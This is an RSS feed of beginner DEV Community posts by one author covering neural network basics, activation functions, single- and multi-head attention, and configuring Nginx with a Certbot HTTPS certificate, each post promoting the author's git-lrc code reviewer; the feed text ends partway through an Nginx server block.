<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Ganesh Kumar</title>
    <description>The latest articles on DEV Community by Ganesh Kumar (@ganesh-kumar).</description>
    <link>https://dev.to/ganesh-kumar</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1403545%2F61f1e35c-72dd-4187-a25d-85ee2db0141c.jpeg</url>
      <title>DEV Community: Ganesh Kumar</title>
      <link>https://dev.to/ganesh-kumar</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ganesh-kumar"/>
    <language>en</language>
    <item>
      <title>Internal Architecture of Neural Networks</title>
      <dc:creator>Ganesh Kumar</dc:creator>
      <pubDate>Fri, 08 May 2026 19:39:10 +0000</pubDate>
      <link>https://dev.to/ganesh-kumar/internal-architecture-of-neural-networks-4kkn</link>
      <guid>https://dev.to/ganesh-kumar/internal-architecture-of-neural-networks-4kkn</guid>
      <description>&lt;p&gt;Hello, I'm Ganesh. I'm building &lt;em&gt;git-lrc&lt;/em&gt;, an AI code reviewer that runs on every commit. It is free, unlimited, and source-available on Github. &lt;a href="https://github.com/HexmosTech/git-lrc?utm_source=chatgpt.com" rel="noopener noreferrer"&gt;Star git-lrc on GitHub&lt;/a&gt; to help more developers discover the project. Do give it a try and share your feedback for improving the product.&lt;/p&gt;

&lt;p&gt;In the previous article, we discussed neural networks and how they work.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is a Neural Network
&lt;/h2&gt;

&lt;p&gt;A neural network consists of nodes and connections between those nodes.&lt;/p&gt;

&lt;p&gt;The connections between nodes are called parameters or weights. These values are estimated and updated during training so the model can make better predictions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzxkzcab09plbhm17rbo2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzxkzcab09plbhm17rbo2.png" alt=" " width="800" height="666"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the image above, we can see how curved lines are created to fit the data points.&lt;/p&gt;

&lt;p&gt;Neural networks start with unknown parameter values.&lt;/p&gt;

&lt;p&gt;The model then tries to fit the data points using those parameters and make predictions.&lt;/p&gt;

&lt;p&gt;If the prediction is not accurate, the model updates the parameters and tries again.&lt;/p&gt;

&lt;p&gt;This process is done using the backpropagation algorithm, which we will discuss in a later article.&lt;/p&gt;

&lt;h2&gt;
  
  
  Building Blocks of Neural Networks
&lt;/h2&gt;

&lt;p&gt;The curved lines created to fit the data points are represented using mathematical functions.&lt;/p&gt;

&lt;p&gt;We can reshape these functions to better fit the data points.&lt;/p&gt;

&lt;p&gt;There are many common activation functions used in neural networks.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Softplus
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmc4i90cwmat9n3zu23nh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmc4i90cwmat9n3zu23nh.png" alt=" " width="800" height="821"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  2. ReLU
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fto7ih7e3nrbo8esai948.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fto7ih7e3nrbo8esai948.png" alt=" " width="800" height="821"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Sigmoid
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwb9u3owuczu3a7j4cz2h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwb9u3owuczu3a7j4cz2h.png" alt=" " width="800" height="821"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;These curved functions are called activation functions.&lt;/p&gt;

&lt;p&gt;Basically, we choose different activation functions depending on how we want the neural network to learn and fit the data.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;We now have a basic understanding of how neural networks work and how activation functions help fit data points.&lt;/p&gt;

&lt;p&gt;As we continue, we will explore concepts like backpropagation, weights, biases, and training neural networks in more detail.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabn6nl3iehrohehnxgje.png" alt="git-lrc" width="800" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Any feedback or contributors are welcome! It’s online, source-available, and ready for anyone to use.&lt;/p&gt;

&lt;p&gt;⭐ &lt;a href="https://github.com/HexmosTech/git-lrc?utm_source=chatgpt.com" rel="noopener noreferrer"&gt;Star git-lrc on GitHub&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>architecture</category>
      <category>deeplearning</category>
      <category>machinelearning</category>
    </item>
    <item>
      <title>Introduction to Neural Networks</title>
      <dc:creator>Ganesh Kumar</dc:creator>
      <pubDate>Thu, 07 May 2026 19:46:13 +0000</pubDate>
      <link>https://dev.to/ganesh-kumar/introduction-to-neural-networks-3bfj</link>
      <guid>https://dev.to/ganesh-kumar/introduction-to-neural-networks-3bfj</guid>
      <description>&lt;p&gt;Hello, I'm Ganesh. I'm building &lt;em&gt;git-lrc&lt;/em&gt;, a free, micro AI code review that runs on commit. It is free, and source-available on GitHub. &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;Star Us&lt;/a&gt; to help devs discover the project. Do give it a try and share your feedback for improving the product.&lt;/p&gt;

&lt;p&gt;In this series of articles, we will explore the world of neural networks and how they work.&lt;/p&gt;

&lt;p&gt;In this article, we will discuss the fundamental idea of neural networks.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is a Neural Network?
&lt;/h2&gt;

&lt;p&gt;A neural network is a computational model that is inspired by the structure and function of the human brain.&lt;/p&gt;

&lt;p&gt;It is widely used in many fields like image recognition, natural language processing, etc.&lt;br&gt;
It is most popular machine learning algorithm.&lt;/p&gt;

&lt;p&gt;Simplest image of a Neural Network is : &lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhaprkizrj1f1xwo02kkj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhaprkizrj1f1xwo02kkj.png" alt=" " width="330" height="397"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What Neural Networks Manily Do?
&lt;/h2&gt;

&lt;p&gt;It tries to approximate the function of the given input and map it to the output.&lt;/p&gt;

&lt;p&gt;In simple terms, it tries to learn the relationship between the input and output. It approximates the output based on the input data.&lt;/p&gt;

&lt;p&gt;This will be be done with basic mathematical functions which totaly changes based on the data we provided.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;p&gt;Let's take example of Drug which can cure illness.&lt;/p&gt;

&lt;p&gt;Now let's split the gruop of people based on dosage of drug they consume.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Low dosage: Group A&lt;/li&gt;
&lt;li&gt;Medium dosage: Group B&lt;/li&gt;
&lt;li&gt;High dosage: Group C&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Most Commonly Gruop results may be ploted as this in the graph.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftg23g1z0ntul0hi07cs1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftg23g1z0ntul0hi07cs1.png" alt=" " width="800" height="667"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To predict the efficacy of the dosage of drug we can't simply use simple straight line or normal distribution.&lt;/p&gt;

&lt;p&gt;As for example I ploted this graph for understaning on how it is done.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5olh58w96ga2ebnxc943.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5olh58w96ga2ebnxc943.png" alt=" " width="800" height="667"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is where nerual network will help.&lt;/p&gt;

&lt;p&gt;If we have data points in different location it will find and draw a line to predict the values between the points.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgjwhimdcs5lawom60bb7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgjwhimdcs5lawom60bb7.png" alt=" " width="800" height="667"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By above graph we can able to understand what neural network can do.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Neural Network is the best tool to fit the data points which are scattered with curve which we can use it to predict the values in between the data points.&lt;/p&gt;

&lt;p&gt;We got to know with basic example what it actualy do.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabn6nl3iehrohehnxgje.png" alt="git-lrc" width="800" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Any feedback or contributors are welcome! It’s online, source-available, and ready for anyone to use. &lt;br&gt;
⭐ Star it on GitHub: &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;https://github.com/HexmosTech/git-lrc&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Attention Is All You Need - Part 6</title>
      <dc:creator>Ganesh Kumar</dc:creator>
      <pubDate>Wed, 06 May 2026 10:56:21 +0000</pubDate>
      <link>https://dev.to/ganesh-kumar/attention-is-all-you-need-part-6-519e</link>
      <guid>https://dev.to/ganesh-kumar/attention-is-all-you-need-part-6-519e</guid>
      <description>&lt;p&gt;Hello, I'm Ganesh. I'm building &lt;em&gt;git-lrc&lt;/em&gt;, an AI code reviewer that runs on every commit. It is free, unlimited, and source-available on Github. &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;Star Us&lt;/a&gt; to help devs discover the project. Do give it a try and share your feedback for improving the product.&lt;/p&gt;

&lt;p&gt;In previous article we discussed about why traditional RNN model didn't work for long sentences.&lt;/p&gt;

&lt;p&gt;In this article we will discuss about, how single attention head works?&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Single Attention Head is not enough?
&lt;/h2&gt;

&lt;p&gt;In single attention head, context of word is maintained and relates word/ token to each other.&lt;/p&gt;

&lt;p&gt;But this also comes with a limitation of contextual understanding.&lt;/p&gt;

&lt;p&gt;For Example:&lt;/p&gt;

&lt;p&gt;If the sentence had multiple meanings, single attention head will focus on one.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;In 5 Coach long train, in first coach the man was sleeping in 2nd coach the man was standing in 3rd coach the man was playing and in 4th coach the man was eating food.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So, for contextual understanding of &lt;code&gt;man&lt;/code&gt; in above example needed and that is where single attention head fails.&lt;/p&gt;

&lt;p&gt;To Solve this, multi head attention is introduced.&lt;/p&gt;

&lt;h2&gt;
  
  
  Multi Attention Head
&lt;/h2&gt;

&lt;p&gt;Multi Attention Head works parallelly and independently. So, it captures contextual understanding of word/ token.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4wk0koo8gt3x8yvc8ejd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4wk0koo8gt3x8yvc8ejd.png" alt=" "&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What next?
&lt;/h2&gt;

&lt;p&gt;Finaly we got some idea on what end all happening under this.&lt;/p&gt;

&lt;p&gt;I just want to hold upcomming exploration.&lt;/p&gt;

&lt;p&gt;Just by getting into surface level I learned many things. But detailing i couldn't learn.&lt;/p&gt;

&lt;p&gt;I think by 2 weeks I will explore those field and share my learning.&lt;/p&gt;

&lt;p&gt;Reference: &lt;a href="https://proceedings.neurips.cc/paper_files/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf" rel="noopener noreferrer"&gt;https://proceedings.neurips.cc/paper_files/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabn6nl3iehrohehnxgje.png" alt="git-lrc"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Any feedback or contributors are welcome! It’s online, source-available, and ready for anyone to use. &lt;br&gt;
⭐ Star it on GitHub: &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;https://github.com/HexmosTech/git-lrc&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Attention Is All You Need - Part 5</title>
      <dc:creator>Ganesh Kumar</dc:creator>
      <pubDate>Mon, 04 May 2026 12:56:30 +0000</pubDate>
      <link>https://dev.to/ganesh-kumar/attention-is-all-you-need-part-5-5cma</link>
      <guid>https://dev.to/ganesh-kumar/attention-is-all-you-need-part-5-5cma</guid>
      <description>&lt;p&gt;Hello, I'm Ganesh. I'm building &lt;em&gt;git-lrc&lt;/em&gt;, an AI code reviewer that runs on every commit. It is free, unlimited, and source-available on GitHub. &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;Star Us&lt;/a&gt; to help devs discover the project. Do give it a try and share your feedback for improving the product.&lt;/p&gt;

&lt;p&gt;In previous article we discussed about step 2 of transformer model, i.e. position encoding.&lt;/p&gt;

&lt;p&gt;In this article we will discuss step 3 of transformer model, i.e. Multi-Head Attention.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Traditional RNN model didn't work for long sentences?
&lt;/h2&gt;

&lt;p&gt;Before 2017, we were using LSTM and RNN models for NLP tasks. &lt;/p&gt;

&lt;p&gt;Basicaly as the input of words and processing and context was very less.&lt;/p&gt;

&lt;p&gt;For Example let's assume there are 3 words model processes words 1 by 1.&lt;/p&gt;

&lt;p&gt;So, first sentence it was taking about river bank.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The river bank.
The United Bank
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fptr448fmwumrgszmvto7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fptr448fmwumrgszmvto7.png" alt=" " width="800" height="381"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next it is about united bank which is has no related data but as we did embeding and positonal encodings we have very low probablity of understanding the context.&lt;/p&gt;

&lt;p&gt;Here is the example of how it vector might look like.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo4ineg0vl9p7r4sjye47.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo4ineg0vl9p7r4sjye47.png" alt=" " width="800" height="845"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How Single Attention Head works?
&lt;/h2&gt;

&lt;p&gt;A single attention head works by determining how much focus a specific token (word) in a sequence should place on other tokens to better understand its own context.&lt;/p&gt;

&lt;p&gt;Let's take example: "The cat sat on the mat."&lt;/p&gt;

&lt;p&gt;For the token "sat", the attention head might learn to pay high attention to "cat" and "mat" because they are directly related to "sat".&lt;/p&gt;

&lt;p&gt;Let's get understanding these in details in next article by actual implementing it.&lt;/p&gt;

&lt;p&gt;Reference: &lt;a href="https://proceedings.neurips.cc/paper_files/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf" rel="noopener noreferrer"&gt;https://proceedings.neurips.cc/paper_files/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabn6nl3iehrohehnxgje.png" alt="git-lrc" width="800" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Any feedback or contributors are welcome! It’s online, source-available, and ready for anyone to use. &lt;br&gt;
⭐ Star it on GitHub: &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;https://github.com/HexmosTech/git-lrc&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>How to Configure Nginx as an HTTPS Proxy Server?</title>
      <dc:creator>Ganesh Kumar</dc:creator>
      <pubDate>Sat, 02 May 2026 12:41:36 +0000</pubDate>
      <link>https://dev.to/ganesh-kumar/how-to-configure-nginx-as-an-https-proxy-server-2pc</link>
      <guid>https://dev.to/ganesh-kumar/how-to-configure-nginx-as-an-https-proxy-server-2pc</guid>
      <description>&lt;p&gt;Hello, I'm Ganesh. I'm building &lt;em&gt;git-lrc&lt;/em&gt;, an AI code reviewer that runs on every commit. It is free, unlimited, and source-available on Github. &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;Star Us&lt;/a&gt; to help devs discover the project. Do give it a try and share your feedback for improving the product.&lt;/p&gt;

&lt;p&gt;In previous article we could able to setup basic nginx server and server simple html page. &lt;/p&gt;

&lt;p&gt;Now let's setup https for our nginx server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Requirements&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;Before we start setting up https we should do the following:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Buy a domain name from any registrar.&lt;/li&gt;
&lt;li&gt;Set up dns records to point to our server ip.&lt;/li&gt;
&lt;li&gt;Setup Certificate for our domain name.&lt;/li&gt;
&lt;li&gt;Install nginx on our server.&lt;/li&gt;
&lt;li&gt;Set up nginx server to serve our website.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Buying Domain Name
&lt;/h2&gt;

&lt;p&gt;We can buy domain name from any registrar like Namecheap, GoDaddy, etc. &lt;/p&gt;

&lt;p&gt;It depends on which name it is and the charges will be around &lt;/p&gt;

&lt;h2&gt;
  
  
  Setting Up DNS Records
&lt;/h2&gt;

&lt;p&gt;Once buy setup the dns records to point to our server ip.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
For your server the ip address is [IP_ADDRESS]. &lt;br&gt;
And your domain name is [EMAIL_ADDRESS]&lt;/p&gt;

&lt;p&gt;So, you need to set up a dns record to point to your server ip.&lt;/p&gt;
&lt;h2&gt;
  
  
  Setting up Certificate
&lt;/h2&gt;

&lt;p&gt;Now let's setup certificate for our domain name.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;example.com&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;so, we setup&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;certbot &lt;span class="nt"&gt;--nginx&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;example.com&lt;span class="sb"&gt;`&lt;/span&gt; &lt;span class="nt"&gt;--email&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;EMAIL_ADDRESS] &lt;span class="nt"&gt;--agree-tos&lt;/span&gt; &lt;span class="nt"&gt;--no-eff-email&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is simple workflow on how certificate is fetched and how &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fftruvgc7r97ocn2ggu19.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fftruvgc7r97ocn2ggu19.png" alt=" "&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key generation&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;The Certbot generates a private key and a CSR (Certificate Signing Request) entirely on your machine. &lt;/p&gt;

&lt;p&gt;The private key is the core security guarantee.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP-01 Challenge&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;Let's Encrypt needs to verify you actually control &lt;code&gt;example.com&lt;/code&gt;. It sends Certbot a random token. &lt;/p&gt;

&lt;p&gt;Certbot places it at:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/www/html/.well-known/acme-challenge/&amp;lt;random-token&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nginx (already running on port 80) serves this file publicly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Let's Encrypt fetches the token&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;LE makes a plain HTTP request to &lt;code&gt;http://example.com/.well-known/acme-challenge/&amp;lt;token&amp;gt;&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;If it gets the right response back, it's satisfied that you own the domain. &lt;/p&gt;

&lt;p&gt;This is why DNS must be pointing to your server before you run Certbot — if the domain pointed elsewhere, LE would fetch the token from the wrong machine and the challenge would fail.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Certificate issued &amp;amp; saved&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;LE signs and returns your certificate. &lt;/p&gt;

&lt;p&gt;Certbot saves four files to &lt;code&gt;/etc/letsencrypt/live/example.com/&lt;/code&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;What it is&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fullchain.pem&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Your cert + intermediate CA chain (this is what Nginx uses)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;privkey.pem&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Your private key (Nginx uses this too)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cert.pem&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Just your cert alone&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;chain.pem&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Just the CA chain alone&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Nginx config is rewritten&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;Certbot patches your &lt;code&gt;server&lt;/code&gt; block to add the &lt;code&gt;listen 443 ssl&lt;/code&gt; lines and the cert paths, and adds a new &lt;code&gt;server { listen 80; }&lt;/code&gt; block that redirects all HTTP traffic to HTTPS. &lt;/p&gt;

&lt;p&gt;Then it reloads Nginx for you.&lt;/p&gt;

&lt;h2&gt;
  
  
  Setting up with nginx
&lt;/h2&gt;

&lt;p&gt;Assuming your application running in local host 8090. and you are setting up https for your domain name example.com.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;server&lt;/span&gt; {
    &lt;span class="n"&gt;listen&lt;/span&gt; &lt;span class="m"&gt;443&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt; &lt;span class="n"&gt;http2&lt;/span&gt;;
    &lt;span class="n"&gt;server_name&lt;/span&gt; &lt;span class="n"&gt;example&lt;/span&gt;.&lt;span class="n"&gt;com&lt;/span&gt;;

    &lt;span class="n"&gt;ssl_certificate&lt;/span&gt;     /&lt;span class="n"&gt;etc&lt;/span&gt;/&lt;span class="n"&gt;letsencrypt&lt;/span&gt;/&lt;span class="n"&gt;live&lt;/span&gt;/&lt;span class="n"&gt;example&lt;/span&gt;.&lt;span class="n"&gt;com&lt;/span&gt;/&lt;span class="n"&gt;fullchain&lt;/span&gt;.&lt;span class="n"&gt;pem&lt;/span&gt;;
